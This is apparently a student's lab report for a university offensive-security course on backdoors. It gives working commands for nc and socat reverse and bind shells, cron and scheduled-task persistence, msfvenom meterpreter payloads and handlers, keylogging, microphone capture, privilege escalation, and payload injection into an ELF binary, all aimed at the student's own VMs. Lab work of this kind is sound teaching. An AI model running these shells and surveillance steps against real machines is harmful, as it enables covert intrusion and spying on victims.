• 2019-2020-2 20175208 张家华 网络对抗技术 Exp2 后门原理与实践


    2019-2020-2 20175208 张家华 网络对抗技术 Exp2 后门原理与实践

    实验内容

    • 使用netcat获取主机操作Shell,cron启动;
    • 使用socat获取主机操作Shell, 任务计划启动;
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    • 捆绑在下载的软件或者在浏览网页的某些链接中,或者被绑定了后门,当下载或者误点链接时就带到了自己的系统中
    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    • win中可以与某些自启动项(如:后门)绑定,开机时自动启动将后门程序与正常软件绑定,用户使用软件使启动。
    • Linux可以通过cron启动:通过crontab -e修改任务计划表,插入启动指令。
    • 通过修改注册表,设置后门程序自启动。
    (3)Meterpreter有哪些给你映像深刻的功能?
    • 获取目标的摄像头,录音机等权限进行拍摄、录音记录
    • 可以监控目标的许多行动,感到很可怕
    (4)如何发现自己有系统有没有被安装后门?
    • 查看系统的自启动项,注册表有无异常
    • 查看进程有无异常
    • 查看端口有无异常
    • 开启防火墙
    • 开启杀毒软件

    实验过程

    实验准备及常用后门工具了解或测试

    ncat
    • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    准备
    • 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
    • 在老师提供的附件中下载ncat.rar
    windows(ipconfig):196.168.1.5
    kail(ifconfig):196.168.233.131
    windows获取linux Shell
    • 在windows中用ncat打开一个监听端口,端口号5208ncat.exe -l -p 5208
    • 在kail中使用nc命令-e选项执行shell,反向连接至主机对应端口nc 192.168.1.5 5208 -e /bin/sh
    • 进入主机,通过命令ls/或其他,验证运行kail的shell
    linux获取Windows shell
    • 具体流程和上述差不多:kail下设置端口nc -l -p 5208,Windows下设置反向链接ncat.exe -e cmd.exe 192.168.233.131 5208
    • 在kail中运行cmd.exe命令
    通过nc在两者间传输数据
    • 直接传输文字:主机下建立监听端口5208ncat.exe -l 5208,kail下建立连接至主机端口nc 192.168.1.5 5208,建立成功后可进行文字传输

    • 传输文件:Windows下建立端口同时定义接收地址ncat.exe -l 5208 > file.in,kail下创建测试文件file.out,连接至主机进行文件输送nc 192.168.1.5 5208 < file.out

    socat
    • 其是ncat的增强版
    • 使用格式:socat [options] <address> <address>```,address是必选项,而options``是可选项
    • 在后面任务二有具体应用,可先到老师提供附件下载socat.rar
    Meterperter
    • 后门就是一个程序
    • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
      • 基本功能(基本的连接、执行指令),
      • 扩展功能(如搜集用户信息、安装服务等功能),
      • 编码模式,
      • 运行平台,
      • 以及运行参数
    • 详细点击链接

    任务一、使用netcat获取主机操作Shell,cron启动

    • 同准备阶段,在Windows中设立监听端口ncat.exe -l -p 5208
    • 通过百度或者man cron(看得懂的话)了解到:crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行。
    • 利用crontab -e指令编写一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器
    • crontab -l可查看编辑情况
    • 增加命令为24 * * * * /bin/netcat 192.168.1.5 5208 -e /bin/sh即为每个小时的第24分钟时执行后方命令(数字填写以自己做实验的时间来定)

    • 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的

    任务二、使用socat获取主机操作Shell, 任务计划启动

    • 在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序开始创建任务

    • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定

    • 点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5208 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5208,同时把cmd.exestderr重定向到stdout上:

    • 创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.1.5:5208这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5208端口,此时可以发现已经成功获得了一个cmd shell

       

    • 在做任务二时可以新建触发器像任务一一样定时完成,任务开始执行后命令和上面一样

    任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;

    • 在kali中输入指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -f exe > 20175208_backdoor.exe

    此时因为在控制端生成后门,所以此ip为kail的ip地址

    • 同准备阶段:将生成的后门程序传输到主机
    • 在主机下执行ncat.exe -l 5208 > 201725208_backdoor.exe
    • 在kali中通过nc 192.168.1.5 5208 < 20175208_backdoor.exe将生成的后门程序传送到主机上

    • 回到控制端,通过命令msfconsole进入控制台

    • 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.233.131
    set LPORT 5208
    • 设置完成,执行监听exploit
    • 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell

    任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

    • 保持任务三,之后进行任务四操作
    • 使用record_mic指令截获一段音频

    • 使用screenshot指令可以进行截屏

    • 在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

    • 先使用getuid指令查看当前用户,使用getsystem指令进行提权(提权操作可在别的win7虚拟机下进行)

       

    任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    • 此任务在通过学习老师给的资料及[学姐的博客](https://www.cnblogs.com/clever-universe/p/8691365.html)得以完成
    • 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload
    • pwn1是ELF文件,查看pwn1是多少位的:readelf -h pwn1

    Magic后第五个值是01,表明pwn1是32位的。(64位对应值02)

    • 打开MSF:msfconsole
    • 查看payload:show payloads

    选择linux/x86/meterpreter/reverse_tcp

    • 通过命令生成后门程序msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -x pwn1 -f elf > overdoor_2_5

       

    • 因为我们需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中。
    • 最后就是按照之前的步骤使用两个终端检验后门程序的注入情况


      不过这个程序需要``chmod +x``修改一些程序权限后门才能运行

    实验总结

    (一)实验过程中遇到的问题:

    一、虚拟机里未安装USB无线网卡驱动,使得无法拍照/录像:

    解决办法:

    1.安装内核源代码(需要联网)。
    apt-get install linux-source

    2.安装内核头文件(需要联网)。
    apt-get install linux-headers-$(uname -r)

    3.安装编译环境(需要联网) 。
    apt-get install build-essential

    4.下载驱动解压后,cd到驱动目录下,然后make命令编译,然后再用make install命令安装,最后重启。
    命令如下:
    git clone https://github.com/porjo/mt7601.git
    cd mt7601/src
    make
    make install
    reboot

    5.重启后运行ifconfig后可以看到新增了一个ra0就是无线网卡
    详情请见:

    安装内核源代码(需要联网)。
    apt-get install linux-source

    安装内核头文件(需要联网)。
    apt-get install linux-headers-$(uname -r)

    安装编译环境(需要联网) 。
    apt-get install build-essential

    下载驱动解压后,cd到驱动目录下,然后make命令编译,然后再用make install命令安装,最后重启。
    命令如下:
    git clone https://github.com/porjo/mt7601.git
    cd mt7601/src
    make
    make install
    reboot

    重启后运行ifconfig后可以看到新增了一个ra0就是无线网卡


    详情请见:https://blog.csdn.net/swjtu100/article/details/50543260

    二、无法安装内核头文件:

    解决办法:

    1.先更新数据:

    apt-get update

    2.执行

    apt-cachesearch linux-

    3.查看一下列表中的

    linux-headers-xxx linux-image-xxx

    4.然后apt-get install 安装就是了 

    详情请见:https://blog.csdn.net/Mike_Roger/article/details/79180512

    三、后门文件建立成功后无法运行:

    解决办法:

    1、首先进入开始菜单,然后在菜单中找到控制面板,单击控制面板这个选项进入控制面板窗口界面

    2、进入到控制面板界面,在这个界面上可以看到系统自带的控制面板选项,找到Windows防火墙选项并单击它

    3、接着就进入了在Windows防火墙主页面,在这个主页面左上方找到允许程序或功能通过防火墙,然后单击这个选项

    4、这时候就到了允许程序通过Windows防火墙通信界面,这个界面上我们可以添加或者删除程序

    5、添加要通过防火墙通信的软件单击允许运行另一程序,这时候弹出来一个框,在框中上下移动选择你要添加的软件程序,选中这个程序然后单击添加按钮即可

    详情请见:https://jingyan.baidu.com/article/215817f7ee24a01eda1423a6.html

    (二)实验感想:

      本次实验过程中除了电脑偶尔卡机、虚拟机偶尔崩、虚拟机的配置有点问题外其他的还都挺好的。。。。

      本次实验前老师讲了一部分,说全是操作,我以为很好完成,结果。。。花费的时间比第一次长的多。

      其次,感觉还是手动做实验更容易吸收一些知识点,做完实验后感觉学到了很多

      最后,通过本次试验深刻体会到了攻击的可怕与强大,突然就感觉自己电脑里由很多的后门。不过这东西自己玩玩还是很有意思的。

     

  • 相关阅读:
    Python笔记:PEP8常用编程规范
    Flask笔记:蓝图Blueprint
    Flask笔记:视图函数和类视图
    Flask笔记:url_for
    Python设计模式:单例模式
    Linux网络安全篇,认识防火墙(一)
    Linux网络安全篇,配置Yum源(二),阿里Yum源
    IP地址、子网掩码详解
    Linux网络安全篇,配置Yum源(一),本地Yum源
    Linux网络安全篇,进入SELinux的世界(四)
  • 原文地址:https://www.cnblogs.com/kaoru/p/12546530.html
Copyright © 2020-2023  润新知